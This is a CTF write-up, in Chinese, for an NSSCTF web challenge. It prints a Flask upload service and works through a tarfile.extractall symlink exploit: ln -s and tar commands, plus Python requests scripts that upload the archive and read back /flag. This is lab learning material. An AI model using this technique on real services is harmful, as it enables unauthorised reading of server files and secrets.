题目来源:NSSCTF Round#6 Team- web1
打开题目,发现没有前端页面,直接是后端代码
根目录源码:
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
如上,可见是flask框架,拿到题目之后去入门了一下 flask ,以为漏洞是 flask 框架的漏洞,发现只能找到 ssti 类的题目
后来没招了,在xux师傅(神)的帮助下,最终解出这道题目,思路如下。
- 如上的代码中过滤了挺多东西,正常情况下我们无法进行目录遍历
- 但这题最大的漏洞点就是 tarfile.extractall(path) 这个函数
- extractall 函数能将一个 tar 文件进行解压(会去掉.tar的文件后缀),并将文件保存至 path 路径下
- 这道题的思路就是利用 upload_file() 上传一个 软连接文件 至服务器,其中这个 软连接文件 指向的就是 flag 文件,然后用 download_file() 方法读取 软连接文件 ,达到读取 flag 的目的
- 当然,软连接文件需要进行 tar 压缩,再用 extractall 解包即可完成 flag 的读取。
- 有了思路了,接下去我们开始实操
首先我们需要有软连接文件
在linux虚拟机下执行如下命令
ln -s /flag flag # 创建软连接文件 flag 指向 /flag 文件(经试验,flag文件就是这个)
tar -cvf flag.tar flag # 再将 flag 软连接文件 压缩成 flag.tar ,于是这个 flag.tar 就可以拿来上传了
下面是我写的三块代码,分别对应 upload、download、clean 路由
# upload
import requests
url = 'http://ip:port/upload'
filepath = 'flag.tar' # flag.tar 放在同一目录下
# file的数据
file = {
'file': open(file=filepath, mode='rb')}
s = requests.session()
recv_content = s.post(url=url, files=file)
print(recv_content.text)
# download
import requests
url = 'http://ip:port/download'
data = {
'filename': 'flag'} # extractall 解压缩后会去掉.tar后缀
s = requests.session()
recv = s.post(url=url, data=data)
print(recv.text)
# clean
import requests
# 清空
clean_url = 'http://ip:port/clean'
s1 = requests.post(clean_url)
print(s1.text)
分别运行 upload 和 download 即可出flag
flask入门参考网址:
https://blog.csdn.net/weixin_46003347/article/details/122938176
tarfile文档参考:
https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
https://www.osgeo.cn/cpython/library/tarfile.html#tarfile-objects
tarfile漏洞题
网址:(有代码复现,有时间复现一下)
https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/
漏洞复现:
https://www.cnhackhy.com/265.htm